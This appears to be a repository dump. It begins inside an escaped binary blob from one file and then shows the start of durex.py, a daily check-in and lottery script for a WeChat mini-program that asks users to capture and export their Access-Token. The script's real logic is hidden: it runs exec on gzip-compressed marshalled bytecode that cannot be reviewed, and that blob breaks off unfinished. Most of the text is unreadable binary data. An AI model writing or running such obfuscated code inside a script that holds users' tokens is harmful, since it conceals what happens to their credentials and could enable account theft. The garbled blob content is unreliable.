\xb1\xc7\xe8-\xa6\xdaz\xab\xba\xc0\xc9\xc8#\xfd\xb6n\x87D"x\xa6\xa4\x0e\t\xcf\x9aJp\x07t\xfa8\xc8\xa3)\x933\xdf>\'\xa0>\x0b\xf9\x92\x8f\x96:\x1f\xbcO\xe9[\xa55go\x8c\xdc\xcd\x91\x1b\xaa,\xe3\xc1E\x95\x05\xfa\xc3\xa9\xef\xad\xd7\x92d\xba^\xa5\xfdW\xe9}w\xf5\x02E6\xbbB\x07\xe5\x17\xd9V{{\xc6:\x16y\x1d\xa9\xf3\x17|\xb2\xe0\xe7o/\xfe\x1a\xfc\xa7\x1a\x89o~\x83\xaa\x8f\x9b?\xeb\xc3y\x1f\x9f\xdf\xec\xad\x9e\xcf$\\\xa3\xb3\xbc&\x84\x118\xeb\x98|%T\xc2\xd2\x06l\xc4T\xd8\xd7\x90\xeb\xe2\x1cT\xa4X\xd1\x90BR*D_G\xe8~\x8e\n\xd1\x84l\x96\x08\x88\xfc\x89B\xf9\xb9\xbe\xc4W\x86=\xee\x05\xc1\xdd\x8a\xa8\xe62X\xb7\x12\xd0\x00\x0c\xec\xb0\xc2\xe2\x9a\xd5u7\x0cH+C\xed\xa9\x90\xed2\xe2dq\x1a\x9e\x1e\xb9@uS\xec\xa1\xdepiSo\x9d\xbd\x82#+\r\xaf\xb7\\\xabm~\xe7\xf6\xf5\xc5\x91P\x12\xe8\x18[\xae}\x0bF\x7f]\xf5*Ju\xcbHV\xc8\xd7\xdc\x1c"=\xb1\xde\xf7*~\xed\x86\xd5l\xac!^p\xdf\xb1\xf2\xb6"\xed2-\xe4\xb2\xc7g\xbe\x1a\xf4\'<\x11\xef\xf3u\xc3\xcalo\xd8j\x89\xe5\x0bA\\>\xae\x9d\xc5Z\x8bl\xb2\xe0{\xae\xf9\xc1DP\x8b`\xaa\xd7d\x00.\xe5\xde\x01{m\xdb\x86i\xa2\x08\xba\xe4\x8f6{\xc3@T\xd4\xbe\xe1[\xda\x15\xf0mT\x7f\xafB`\xc2\x9c\xefx\xfc\x11\xe0\xe1\r\xb2\x17\xee~\x0e\xd9\xe1\rX\xcc\xb3$d\x03\xbcf\x9f\xf2k\xde\x8c\xfcA\xf5z\\\xd82\xb4\x84\x9e$=\xb3\xbb\xa8\x0f\xc7\x0e\xd7e\xf4u\xf9MG\xcd ;\x05\xfd\xd9 TG\xb6\xa4\xff\xd9\x86\x9cTW}\xac\x96\x87#G\xe4;G\x19&\xca\xf7.\xe9\xa2\xd0Y\x86\xf8^\xb4\'\xc8\xd4\xf2}\xb5\xf8G\xad\xd2\xe0#\xdfjC\xd1?\x9b\xd2P\xa8\t\x13\x01\x01\xfel0\x93\xe5\xf1\x10\xc4/\x8e\x8aM\xe4\x7f+\x8c\xc9\x85$\xd0d\xb2\x0b\xee?\xf5e\xab\xd2(\xc49f\xd5\xb7T\xc23^\xferD\x81\x04\xccW\x9a\xd0\xcfe\xcb?\xcaul3\xd7-O4D:Y\\hP\xcbd:;\xe5F8^\x90\x1e\x84\xe9\xed\xa6\x1cU[\x1a\xf0j\xa7jJTc\xa9Gv\xaa\xd2\xfay\xa1\xc4\xd5\xce\x9a+\xf35k\xe2;\r+v\xfc\x94,\xb3B}1M\x02\xb7!\xe3\x8aA\x99xX\xe33O\x94|+\x8e\xa5\xa7\xe7\xd9\x820\xdc?\x1a"\xa0\x18\x83u\xde\xe1a\xc5\xce\xc7\x8b|8\xab\xd9\xff\xaa\xde\xb7g\xd3\x8bw\xf5N]\xf1\x9a\xa7:\xbfvJ\xd1+\x01\x03\xebImL<\xf6`\xd8\x1f\xb9\xc9nxZ\xaa\xf7,\x85\x11\xcd.\x88[\x0f\xf4\x84\xc5\x15!\x9d\x8e6\x16x\xe8l\xbd\xf5\xa3,\x07\xc7z\xc3\xbb5\x0f-\xa6-\xe9\xaa\x1a/\x18\xf3]\\\x15^0\xcabL?\x1b\x8e\x8d\xf7\xbb\xb2??\x1c\xc4F\x1dt&\x1a\xce\x90\xb9W&"\xfb@W-z\x85\xce>\x01\xb4\xf0E9\xf6\xdd\xf5\xd8.\x11t\xfe\xad\x18\xf4\xe8l.e\x1f/C\xac\\\xc4\x05\x18\xf9\x1f\x11,\x04,N\x8d!b4V\x0e\xf5g\x9ca\xaad\x91l@\xea\xd9~-\xd1/Y\xbdTK\x9b(\xa1lT\x81X5\xe4\xd2\xb9N_\xda\x85O\xce\xac#\x8c\xfa\x02\x9a\xc0W\xacPDT\xdc\xae\xe3<\xd7.\x96\xb9\xa6\xa9\x9f\xa0\xfb\xb3\xf2k\xf26+\x0c\x98\xbc\xbe\xfb_\xc6\xa6\xb8\xa7Y\x13y.\xd1\xd8\x08E\xbd\xb7\xae\xdf\xe1\xcb~[\xccM\xe0Uk\x19\xbb\xd6\xc0\xfb\x0f\x9c\xe4\xfbZ\xb6~\xc7\xb8\x1c\x1e\xc1\x10\xad\xc6\n\x9f\x9e\xca\xc3\x8a\xc2\xce\xf5\xed\xcc\x0c\x98\xd0\xfbwF\x9d\xd0\xd2\x997U|{\x97\x94n\x14\x1d\x1c\x8d\xe9_\xed\x8cx\x9did\x95\xc2\xdfj\xa1\xf0\'3\xecZ\x99pM\x0e\xdatJ\xe5\xea*F\x19\xba\xe2O}\xe3\xdfE\x9e\x03\xa66q8U!\x1f\xdd\x89\x9c\x06D\xde\xb6\xcd\xcdZ\x9fL\x02\xd86\\3rh\xe6\x14\x86rzB\x032b\xf8\x88\xf9\x7f\x18o\xcf\xa3\x98ep\xf7\xe2\x7f\x04\x9d\x08\xf0}\xff\xee\xc35<\xa0\xb5`\xfe\xaa\x0f\xc2ZQ\xe8\xa9U\xd4\xb2S/l\xf0b\xb6\xa5?\xee\x85\x06]\x89P\xaa\xf1\xf6\x19\x7f\xd8_\x8f_d\x1e(i\xad(\xbb(\xcaW\x10:\x9e\x17\xc5\xaau\xfd\xe2\xe9\xb2\xf4\x1fR\x87\x0f\x8fG\xf1\xf8\xa8_\t\x1b2,;\xdf\xf2\x1c\tM*\x8ea\xe1\xf4\xf4\xe1\x08{\x135Ln\xc8\xbd\x88X\xf6j\xc5\x89`\x8b=.\x0e\x13\xf2\x1f"}\xb8\x00\x89x\x0f7\\\xfc\xc6\xed\xfd (_\xcb\xaf\xfb\x9b\x9b\xe1\xc5w5\x15A\x98\xae\x8b\xffMw0\xfc`\xcf ;lEa\xe0 \x0f\xef\x0e\xad\x85\xa16T\xd2+\x8b\xa9\xd0\xfc\xf1\x01\x07~\xefZ6\x8bzN\x05\x8fZY\xc3\x84\x97\x87\xc5\xb7\xb8\xe2FCo\xce\xe4\xc08\xb6#\x0e\xc9\xb7\xd0\xe4\xd6\tM\x9d\xe2\xe7\xae]T8c \x83\xd8]\xf4&\\\xbfm,\xa5\x8b\x0f\xc4=\x13\x0f\xec\xea\x81n\xbc\xc9\xf5\xa1\x93\xf9\xaa\x15\x9e1^\x81\xeed#\xe9\x87^ \x0f\x86\xe9\xfa\x80\xb2\x86\xd4\x1c\x84\xf4\xe2\xe9C\xf4\xca\x01\x7f[\xb9V2\xb3\xf1R!\xd5s\xc22j\xea\x89=5\x05\x11\xe3\x1c\xf9>\xb0?I\xda\xd4\xa6>1\x1c5\xbao:\xb8\x91\xf7\xce}\xdb\xb4\xc6Q\xd2?N_\x8f\xf0\xdb\xebc\xf3bDcB\n\xd2G\xca\xc9\x91\xf5\xd5b\x83nJ\x0e\x96\xbb\x1e\x17\x00\xfe2?D`\xb0\xe4]$\xc5\xd7\x0ci#Zc\xd4IX\x11\x19w8!\xc7\x1dG\xa6N\x1f\xed\\\t-\xfc|Hn\x1cuZ\xf4\x89[\x1c\xef\xb8\xc5\xcb\xec\x88\xc6L\xd2\xff\xfd\x9d\xf7\x0f\xe4\x04\x0by\xb3\xc3\xeai\x89T/\x12\x06&h\xc4\xec\xe0\xd2\x94X\x9c]\xe5Q#eV\xb4\xefU\xf4\xbd\xae,\xac[X\xbc\xc7\xcb|\xf2\xb3=%#o3\x8do\n\r>\xbc\xaf\xd8\xd8\x1b\xbf\xa77l\xc2\xbbs\x86\xa6\xee\x87\xb6\x92\x07\x04\xbd\xec\x99\x9c\xa4\xdf&\xd9\xf3\x9ajn\xcd7\x15~\xd1\x10\xe3\x80D\xdcl/\xcf\xca-\x82a\x9d\xa4\xac\xf4\xc78\xc6u<\xfe\xdeg\xe8tj\x11\xdc\xbf\x16{\xc2\x9d\x97\xd7\xc9@\xbe\xe9\xb2\xe5\xbfd\x03A\x90\x05U\x84\x11\xb3\x8bA:\xa0\xed^b\xa8f\x9cnoob\xa5\xf6\x15\t\x1c\xa4:P\xfdu\x132%\xdc\xc9\x12w}c\xe1t$\xa2r\xa7\xdc\xb4\xd0\x12\xa8\x97n\xad\xf2c\xf7~"\xadW\xb4\xd6u\xde\xf7\xc3K\xffGL\xeaNC\xb8\xbd\x04\xeaGHJ0\xae7YMK%\x8d\xe4\xfbI/@j\xb9v \r\x87B\x0fB\x96E\xaf\xe9m\xf2D\xb3\nW\xc9|\xc25\xca,{Qw10\xad\x9fP\xddP,\xc1\xe9O\xb22\xfc\xb6\xef\r\xadN|=n\xb4\xdcM\x17\x11\xac\xe2\xbc\\iN\xf5\x0f8f\x1d\xc8\xb2C\n\x88-\x9f\xce\x11\xd51\x804\xc2F\x93+{\xec\n%\x9d\x0c\xe3\xa6\xda\xfe\xdct"\x14\x94n\x817+z\xc5OW\xb7\x13i\x9d\xe1nY{5\xf0\xc7\n\x88\xa0\x9e\x80;\xfff1k\xa6\xb0Q\x95H\xa1\xbayI$\r\x0bL\t\xbd\xb8\x1e\xdf\x8c\xe5\x87\xa9\x17uS\xear\xbc\x18\x87:\xfa\xd3\x8do\x08K\x89\x1e\xc4R/\xaf\xd5F\xaa.\x8e\'\x92\xa6\xfbe\xa2\\\xfb\x9a{)cN\x88\x9e\xce\xcf(\xd8v\xea0\xe1\xe5\xf1\xf9$o\xbf\x90\xa7\xe6\xed\x05lwb\x0b\xbdQS\xe3\xee\x8a#\x1e\x03\x8c\x0e\x10\x1f\xa4\x1a\x1b%\xf7\n\xd73\xdb\xa8p{\x1dq\xdb\xcf\x15e\xfbh\xc3Y\x04\x96\xa4\xcd\xfapQ\xe3\xff\x95oQ?\x99v\x8b9\xa09\xae@+D\r]UV\xca\x9d\xef\x95\xdaDbsb!\x96#&\x19\xf7^I\x071*\xd2\xa5\x9f\xd3\x17#\xfd\xaa~\xc3\x82\x03\xf0\xaf#\x92\xf6\t\xce\'\xce\xe0\x12(\xabFTJk9\xcd$r\x90s\xe8\x12E?|0\xe7\x17\x9e\x00\xe1\x07\x9c<\x9e~\xf6Pd\x08\x9f-\x12q\x06\xcb\x0b=\x92R\xfc\xfd\x91\x15\xed\x8fh\xbdM\x97\x99>!\x93\xb2\x9c=\xefZ.\xd3\xa5\xcd\nn\x90\x134*6\xe8\x86q\x9a\xed\x7f\xfaf\x19\xceJ)\x93\x81l\xbe?\x92C\xf8W\xe0~G\xb6j\xbf\xa2\xf8\xcdo\\C\xc9\xbe\xa2\xaf\xaa\xef\xab=\xabI\x86\xfb\x99O\x99A5\x9a\x06\xac1\xa6\xfal=,\xe3\x12\x1e\x18n\xddW\x86\xe7\xb0\x08\x1b\x9a]n\x98\xe3\xb0=("\xab\xae\x9b\x1d,\x89\xb6\x1b\xce\xb9\xca\x9a\x1a\xa1;z)\x03\xf8\xed\xd7\xb0{\xb7\x05\r"\xc2\xd2V\x90\x07\xa9\xeaa<\x92\x87\x0b3\xe2\xe7G\x0f\xc7(\xa6\xaeU4\xfe\xa6v\x14\x93\x15\xdaP\xc0\xe5\xb8v\xbb^\xc5\xd3\x1ao\xfb\n|\xcb\x1f\xc0\xd0\x9c\xcdxON\x97\xa0\xbc\xb2\xcd/\xec\xff]\xe9\xbb]\xecb@\xb1\xb5XS%h\x8e\xf6D\xdd\xdf\xc7\xce[r\x1d\xab\x98p\x085\xee\xb4\xb6\x00\x88\xfa$VO\x98\x1c\x91\x99\x1b\xfb\xd3d\xb5E4\xff\x088<6\xf4\x11l\xee\xd6\xcf>\xa3_\xf0<\xb8\x02\xec\xd3\xb5#+\xcb\x9aR\xc8\xb6!\x9e\xad\xe0a\xe8+\xca\xff-\xc9\x83\x93\xda\xe5,\xeck\x00\xaf\x1b\\\x1f\x9f&o\xf0M\xa6\xe8\xb4u\x96\xa4\x05\xbb\x9d43MF5\xb5V\xcc-&Z\xfe"I7\x84\xbd\xcc\t%\x06j\xd2\xd43\xd89\x13NtK\x9c\xfbk\x1d\x07\xbd>\xb7\xed_\xab\x11\x15\xf6\xdax\xe8\r\x1f\xe5F@\t\x05\xa2\xd0\xfc{\xc7\xca\xf6\x89\x17:\xfa\x85Jj)p\xdd\xe2n\x1f{w\xc8\xdf\xc7\xc5\xce\x02\x1c\xb5<\x92\xf6U\xc6\xd1%\x17\xeb\xfe|-i\xae\xd7\xe4\xb3}\xc8)%\xd1\x9aV\xbd2\xbb\x14o\xd1\x17\x92\x1a+{\x8c\x968\xa9\x1eK\xe4\xd4\xbd\x04\x1c\xe0\xed\xef\xe4UB$o\x7f\x17D\x84\xa6%\xd6\n\xe5\xd5\x1c\xc9UL\xf5K \xff\x95u4m\x97\xd1$5\xffQ\xb8o2\xf5\x96z\x1d\xc1\x1dv0\x9a\xf0\xea-\xda\xb6\x9b\xea\x8a]WBN\x1e\x9fu\xd3?5\xe6\x9c\x88U\xaa?\xc6\x9e\xb5\x1eg\xda\xebF\xd5+\xc2\xdf\xde\xf1C\xf6\xe7G\xb7\xa0\xab\xc0\xe2{\xc3\xe4>H\x8c\xd9\xb8\xbbHN+L\xb9\xc1TGa\x9a\x11\r.\x7f\xf2\\\x84e\xd6S^\xd8G*\xf7\x94H\xa0z\xcaa\xff7AB$\xd2\xee\xf7\xcf}\x1d\x85\x80\x90\x02\x02H,%_!!S\xf7\xeb"\xd0\xbf,\xd7\x1c\x03\xb8y\x93\x02g\xb2\x89!\x15\xd3\xd5\xec\nLe\xbfUp\x93\xe8\x95/\x90W\x86\xe6\xd5\x08\\\xb2\rF@8\xb7-\xe7%\xd6\xc8U\x9fRv\xe3\xac\xb9\xf1\\\xe1f\x06\xf4\xc4\x882\xbc\xaa7\xcf\xb1R\xa1\xeatV8_\xbf\x8b-6!.B\xfa\xb1#\xd9\x80eZ!\xd2\xe2\xac`@P\xd0\xebJ\x8a\x93\x94\xb5R\xf3Z\x80\x1b\x1a*~\xc0\xd8Kx\x12[\xfeV\xc0\xc4$\x0e\x07\x85\xf4\x92\x7f\xf3^\xda\xe2Q\x8e<@\xaa7\xb3\xc3\xabV\xa4\x8f\x9c\x8197\xa2\xa5\xf6\xcc\xa0\xd6\x85\x8e\xd3\x0e!K\xa3w+g\x95\xec\x02b\xe0y&Y\x08\x86B7\xe7\xecwg\xffG\x04bb\\d\x1e*\xe7>\xdc\x98\x052\x05 \xb6f\x16\x93\xd2x\t\xabx\xa8\xae\r\xe9N+$\x8e\xbf\x1a\xae\xbc\xacvJP\xf9\xf8$\xb3\xd6]!\x8c\x16;\x19U{\xe7\t8\xb8\xaf\t\x96\xf9\xad\xd80\xb94\xe0#\x90\xba\x1d\xb3\xec\xb1\xad\xa1\xc9\xa4\xca\x86\xc8"\xba][\xd1\xc1\xf5K)\xd3\x86\xa0\xb4\x1a\x91I\xf1\xc8\xaf\x13\xbf@\xc8\x7f\x81\x0b~H\x9bl\x81\xe5\xcb\x94\x89}\xbe->H\xa3\x95\x18x_{\xe5@HE\xa3G\xf5\x99\x84*\x1a\xd5Z"~\xf71\x00\x18\x1b\x8erd\xa7\x08]\xf6\xf7\xa7\xb8F\x0e\xbaj\x00>\x83\xec\x04\xe7\x16\x91\x1eu\xbaf5\x8b\x80\xe5r\xf1\xce\xc5W\xbfB\xf1\x13\xcc!\x93\n\xbdCN\xbb\x80tkD\xb3\xa8\xec\xd2>\xbe"<,\x04\xf8\x0c\xb1I\x95\x11\x0e[\xc9\xf1\x07c\xf8\xd7\x97>\xd9"\x9d\xa3e\x0c\x0fob\x1c\x83K\xcd\xd5\xe5\x84\x98\xfd\x8e\xfc;\x91\x86\xe2\xd2\xb2\xcac\x06J\x03o\x7f\xf4\xea\xf1\x1e\x9b\xcf\xaa\xdf\xe8\x14\xf9!\xf8\x8a\xa4\xa9\xd5.\xf8\x19\xac0b\x8c\xfc\xfaI\xc0\x97\xd4\xfeD\x17\xdf\x89\x8f\x0e\xcf\xf9\xda\xc9\xa7[\x89:\x7f\xbb\xb0\x9cBNS\x04\x9d@\xf1OQ{\xf4b\xaa\xdc\x02?\xe1\xd1\x89 \xd5\xdf\xa2z=\xe9`i4\x84\xe9IuT\x9f\x18\x9d\x94\xc6R\x910\x1abv\x81\xf8\xa9q^\xd0\xec\xb6\x8f\xbd\xb8%r\xec\t\xd2bS-\xf8\x9d\xdap\xa4\xeaeL[\xd7\xa2v\x82\xd77OK\x1eqw\xb6\xbe\xb4\n\x8a\xb4\xd7\xf9\xdb\x81#[!\xb0@\x82o\xf2\x0c\x89\xfeI\x04{\xddk\x8eg g\xae\xbfbF\xde\xb0\xc5\x86\x0c\x96\x9a8oky\x96\xdb\x1f2i$\x81!\xfc\xd7N\xb5E\x8b\x1cX\xdb$-\xa4u@\x95\x80(\xd76\'Y\x13(C?@\xd3\xfec<_w\x17\xca,W\x96\x11\xa9G\xac\t\x03AT\xb9\x0eQ\xea\x9b(\x86\x18Z\xec\x17D\xd4[\xd9\xeb\xc8\xbf\xd8\xe4)\xc3\xc5\xf4\x9bH#\xc7\xf6\x0f\xf5\x81\x04\xcb\xcb_`\xd2\x00\x19\x8d\x03V\xbe\xbc\xc3\xa0\xd6GY\x8a\x93\x11\xcdA\x95\x17\xa8\x9dt-\xfb\x81\x8c\xb6\xd2`\xd4_\x06M\x1f\x96_\xcc(z\t\x9c\xa4B\x94|qh\xfa\xb1\xbc\xb79\x97\xb1I\xb1\x0c\xd1\x18\xc7o\xbc\x7f\xcf\xf7\x84\xa7i\xd622\x95\'C=\xa0\x9c\xd7n\xfa\xe5$\xf6\x98\x19\xf7\x8d\xd7\x03%\xfb\xd1\xd9mO\x0f\xe6\xeb\x1c\xfc\x1c3\n\xe7[\x8et]f\xf6\x11I9\x96\xd9\x97"\xdbl_\xe6\xa9;\xd2\xe9kh\x04\x07L\t\xc5kt\xa60?\x90\x0bO+\xf4\xe1\x93\xb2\x8f\x9a]\xc9Q\xbf\x87"\x13\x9ae\xc9\x88\xa9y!\x14,\xc5a\x8bV\xb9?XJ[\xa2\x81\x7fm\x84\xec\xb3\xc1\xbdz\xf4q\xff\x94\x84}\xa6\xb3T\x99AE\xc0r\xbb+\xec\xa2\xc1Nj\xe7}\x1c\xbf^"\x8dr\xb1/i\xe5\xa4j\x85\xa3\xdb_lE\x0c\x8d\xbcN\n\xfej\x9f\xe9\x0e\xee\x13\xa1\xe5S\t)j\x16\xda\x18\xb7\xbc\xd5\xe5\xea\x94\xd9v,\x13\xef\xefR\xee\xd1j@\xb0|`m\x86Pij\xa2\xb3\xbb@\x9e\xb7\x93\xd0\x07\xa9\x9eY\xc3\xbb#\nlJ*~?\xccdw>[s\x93\x84.\xcbi:&\xaf\xa9\xe3\xf6\xfe\x15\x85\xc5\x84\xae\xe5\x1c\xd7\xf1\x06\xd2\x8cZ\xf2\xf8\x8c\xe6`O\x82\x9c\xafH@\xdc\xb7j(\xf2v0\xd33 FX.\xefV\xf1\x91*\x9a\xd0-\x90\xda\x86R\xd3^^\x9a\xb6\x98\xee\x13\x82\x01\x88\x1b\xdd\x9f\xeb\x16\xba\x89zn\xb5u\xd5\xf6\x0c^IA\x86\x9fX\x9eK\xd1\xdf\xb3\xfd\x1b\xe8\xf9\x0c\x971\x86;\x8d\x19\x1f\xfe\x15|\x84K\xc3|\x9eT\x13a~\x16\xac\x8f#%\t\x8d\x1a\xbb\xab\x94t\xb3\xe3\xb7|\x81\xc0\x19\x04\x01\xbe\xde\'\x9510;b\xcb\xf3\xa08s\xaa\x80\x9f\xb5-Rw0\xb5\xf4_NL\xfc\xa4\xa7o!\x10+\xd3An\x96\xba\xe0\x94\xe3\xb0\x06|\xbdj\xa1\xdaQ\xc5\xf1\xb5M}|\xdas\xf0\xe8\x91\xef-"\x89\xb2\xb4\xbc\xb0\xb6dx\xcbh\xbbQ\xe8\x9b\xc7\xd5\xad\x99\xb7\x9bG\xa03\xce~P\xe54X\x98\xc4\x8a\xe5\x15v\xa2\x13\xb1\xf8\xffS\xa1\x1cR]\xecM\xb5\x96a\xb5\x9a\xb6\xaa\xa3\xc6A#?"kP\x929\xff>\r\xeaLh(\xc8!\x8e\xdd\xcb2ep\xc883\xb0\x1b\x14\xcc\xbfD\'\x85\xab\xa0\'a\xaa\x18\tw\xd2\xcb\xe9{\xc9D^\x7f\xb0\xa1\n\x88U[\xfd\xf1\x8e\xc4\xef\x0b\xbd\xa1\xf7\xbc\x80\x0f\xb2\xbax\xfd`\xb2\x87\xa4\xf9\x87\x8b\xc4\xb4\xd65\xf8\xf8D\xa7\xc2\x8a\x8b\xa1\xef\xb8\xf9\xc3\x854\x7f68\x15\xc9"\xed\x08\xc1N\xd4m\xa0]\x90\xa6\x18\x98\xa3\xe4\xd7\xda\xc4\x82\xa2\x85\xc0\x92\xecsY\xed\xbc\x06\xb8O]`X\x8a\xce\xff\t-a\xc03\x01\xa7\x8e\xbe{\xd0q!X\xb4H4\xc2\xcfR3\x1a5\x9c\xf7\xb1.E\xaa\xe0\xf9\xdeD5\x14\x16Zp\xa8\x18\xde\xf0\x8d\xff\xbaP\xcb\xda\xa9P96\xb8\x08\x9e\xb2\x1f\xb4\x94#2\x0c\xd3"\xf5\x87\xf5\xca*~\x12&9\xd1\x885\x18\x00\xb3\xb4\x90\t\x1bW3\x00\xc1\x86\xefSp\x95l\xd9\xa4\x08?3\xc7\x1fpWTT\xc4\nO\xa9s%8\xd5\x01ga_f\x0c\x1b\x83\xa6\xaf\x00\xfb\xe2S<\x9cO\xd1\xa1+G!<\n\x03+\x12\xbd\xc7\x8aO\x00DQ\x11\xfd{\x02\x9f\xb0\xe0\xe6\xd3\x83kd\x94\x00\xa0\x0f?\xb0w\x05"\x93\xce\x7f\xa3I\xaf\x86\xe9/\xd4\xef\xa1\xd1\xd4X&4\xc0\xfa \xe4\x13\xd9\x82\x1f:\x87\xde\xbe\x8da=\x18\xd4\xa1\xfa\x92\xe3\xc1\xa0\x8d\x1b\xa1:\x88\x13#\xef\xf2\xc0\x08~\x9b\x15\x82\xb7V\xef\x8a\xd2\xc2\x84\xd0%\x83\xc7"h\x15\x82\xc6\x87)\x10O"\x85X\x06Q6\n\xdf:\xb1\x7f#Z6n\x12Cy\xd7/p\x0f\x1eqC\xa7\x84L\x86\xc0\xd3\xc4\xae\xf0\x03O\x16\x18?\x18\xec\x99\x05Ix(\xa6)\x07\xa9\xe1\xf4\x05\xa2\x12h\x1e\xca\x92y\x992b1\x0e\xd6.\xff\xa8]S\x1b\xeb\x05S\x83cyP\xc0\xa9\xe8,\xfcH\xa5\x7fX\xae\x7f\xec\xaa\x12h:}d\x1ex\x12u;\x9b\xbb\xda\xc9\x01\xf8\xeb\x15<\xdc\xf6\x8cr\x10\xf0\xb2n\xa4$\xf21\xbf.\x1d\xf0\x1e _Y\x89I\x87\xb0\x06\x074q\x01Y\x9b\xd8\xafA\xdb{\x03M\xd6\xa0\xad\xbcm\x9c\xd6\xa0L\xbd\xd9\xd7\xe0Mm\x1cL@f66k\xd0\xde\xf66\xa6k\xd0\x16\x9e\x16fk0\xf6\x8e&\xe6\xa05Ds\x0b3G\xa0\x93\x8b\x05\x08T\t\xe1\x82\x08\x01\xf1\xbf\xf6\x8a\xa8\xec\xc5$\xe9\x0623q\xb5X\x83\xe7\x07:\x9a\xbb\xd9[\x08\x02\xfe\xfb-\t\xf9\x1f\x93\x86\xf8\x17\x10\x7f\xff\x7f\x9f\xfa\xff\x00\xa5\xde~\xa4>*\x00\x00'))) 24 | except KeyboardInterrupt: 25 | exit() 26 | -------------------------------------------------------------------------------- /durex.py: -------------------------------------------------------------------------------- 1 | ''' 2 | vx小程序 -- 杜蕾斯会员中心 3 | 抓包 vip.ixiliu.cn 下的 Access-Token 4 | export dlshyzx='Access-Token1#Access-Token2' 5 | export dlshyzx_drawid='349966988051072' # 抽奖id 自行填写 6 | cron: 9 9 * * * 7 | 完成 签到,抽奖 8 | ''' 9 | 10 | import sys 11 | vesion = sys.version.split(' ')[0] 12 | if vesion.split('.')[1] == "10": 13 | print(f'你当前的python版本为 {vesion},即将运行脚本...') 14 | else: 15 | print(f'你当前的python版本为 {vesion},运行所需脚本环境为 3.10.x, 即将退出运行脚本...') 16 | exit(1) 17 | 18 | try: 19 | import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads(gzip.decompress(b'\x1f\x8b\x08\x00\x0c-[f\x02\xff\xbd\x98\xe77\x1c\x8c\xd6\xc5\xf5\x10a\x88\xde#\x84\x88 z\xb4At\xa2\xd7g\x10m&\xbaaF\xef$Z\xd4\xe8\xbdF\xf4nt\x125\xda(\xa3\x8f\xde{\x0bC\xf4\x9b\xfb\xbc\xdf\xde?\xe0\x9e\xb5\xf6\xfe}8k\x9d\xfdy\x1f+\xac\xff7\x04\x7f%\xf3Wp\xe5\xbf\x06\xc6\x02c;`\x81\xfe\x8f\xd8 \xec\x7f\x89\x03\xc2\xf9\x97\xb8 \xdc\x7f\x89\x07\xc2\xfb\x97\xf8 |\x08\x01\x04+\xf7\x11\x04?\x97\x10\x8c\x93\x87\x9d\x87\xfd\t\x1b\xfb\xefF\x17\x8b\x0bw\xf7\xbf\xb75\xe0YdXX\x9e\x99\xd8\xf1d\x8e\xc7V\xff\xdb\xe4\n\xc0\x7f\x93\xdbS6\x8d)\x9e0\xf4*\xa5\xc4\xa3\x9ed\n\xc5\x90\xee\x1e=u\x9e|\x19\x11\xd4#C\xb7\xf9\xd2\x16\xcfE\xf9\xb1\xb2\xa82a<[\xe2\xd1\x88\x18=\x91\xad\xe7\xb7u\xcc\xe9\xdd\xc5=\xf6\xb1\x9f\xe9\xf6-0s\xbfet\xdb\n\xf0\'\x87\xed\x96\xadW\xfa\x9d\xcd=\xff\xa3@\xdc\x18\x06\xack\xb35\x19\x97\xfb\xa74_nR<\xb5\xda~\xf4\x84\xad=\xbc\xc0N\xc4R$\xc4\xdd \xeb$\x84\x8539\xc3]`.]\xce\xce\xf7\xec\xa3Xm\x9e\xf3\x0f\xf7\xd3J=ZXX\xfe9\xce\xc1\\K\x8c\xe8\x87\x80\x8c\x89\x81\x07G\'u\xb7\xa7V\xfe\x97\x05a\xa1\xde\xaa\xf3\x88\x0c5?M\xe8\xe8l\xe1\x91\xd0\xf7\x1e\xf6D\xa5L\x8e\xf5\xc9\xb1\x07s\xc9Q~\xb3|R\xefxcC\xea\xf4\xa2\x03\xd8\xb3\xaa\xe4L8\xfa\xfe\xdc\xc9\x96\xbc&\\\xfcdT\xf15BwX\x15\xe9\xfd\xa8\xd1\x1fga\xee\x0cO\x1f\xc9\xe8*h:\x14\x8b\x95\t\x0b\xc7R\x12i\xd2[\xa6|\xab\xb7\x06\x95\xd1\xc9\x9b\xa1T\xed\xb1r\xc8\xd3\x1b\xddU\xd9\xa5\n!\x1e\x18\x0eIP@\xaa\x94\x9e\xd2)\x9f@\xd5\x7f\xbe\x8d\x9dNq\nP\xf3\xe5d\xfc\x85\xdb\xdf\x11\x82\x95\xaa|\xdb\xbbe\xcb\x85p\x18\xe1l<68M>\xe6M\xa2\r\x0cLi~\xd2D\x8f%\xa3\xb1\xd0P\x90I\xb8\xf2a\xb9\xa6W\xfb\xb9\xde\xd8\xf3c\xf6\xed4@.\x9fo\x9c\x86\x85\xe5&\x1e\xca\xd1\xa9>\x8e\x87Jef\xff7\x85/\xae\xba0\xc8w\x81^\x88\x14\xb0\xe3\t\x87\xe4\xc6yy\\\x81\x10u\xc1on\x91\xeb\x17\x9a\xdf\xd2\xb3\xb3\xb7$m\xeb\xf4\xe2\x9cNu\x0fO\xaa\x11\xec\x8c\xd6\xb8a!\x08(E\xe5;\xf1{\x9b\xa4\x82\xfd\xd1w\x087\x19\xa5\xacR\x00\x07`\xb4O\xc5\x99(2\x7f\x13\xbd\xd3\td\x01\rj\xac\xd5\x17\xe7\x85\xd5\x8a\x1bjMj~\x92"\x02\x96\xcfT\xf8\xe9\xa2\xa3\xd9\xe1\x16~} \xb1U\x85\xd7\x1c\x1c\xbdkm\xc9\x04\xa5\x01\xd8\xa7\x91^"\xeb*^\xa0s\x80\xcf_7\xd8\x06 \xdf\x9c\x16\xe4\xde\xe8\xcb\xd3\xe5\x13:\x18\xec\xd7-\x1f`j\x086Q\xf7\xcc\xfbo\x84;\x1f\xea%p\xeb\tVYf\xbdz[\xf4)=\x9e\xac\xbf\x1a\x94@:[\xcex\xdd\xaf\x17\xad\xfa\x84\x1a_\xf3\x10\xef\xb4_\x11\x16z\x87LdS\x027t\xe6\x95P\x03\xf2/\x0c\xa72b]\xca\xccOCm.v\x82?hm\xa6E\x04+e\xd8m\xa0\xe4"\xf6\x92\xdf\xe9\xdc\xef\xb5G\xc5%\x17#+\x8b\x16e\xee\xf5kQK\xc3\xf2\t\xac\x8e*V=d\xb3\x95C\x07K\xe5n\xf2\xa5.\xa5\x1d\xf1\x11\xbe\xe6\xf6v\xa7\x9bC\xfdU"\xc6\x16\x9b\xa6\xd5\xed\xce\xaeF\x80[u\x13\x08\x7f\xb9\xd9%\xbc\xa9Rn\xe2Z\xc0M\x87\xdd\xd4\x97\xbe\xda\x92\xdf\xd3A\x7fke]]\xc5n\x97B\x0b\xe7\x03$\'f\xcb\xa0s\x1a\n\xde\xdc\xea\xa4\xbf\xfe\xfa\x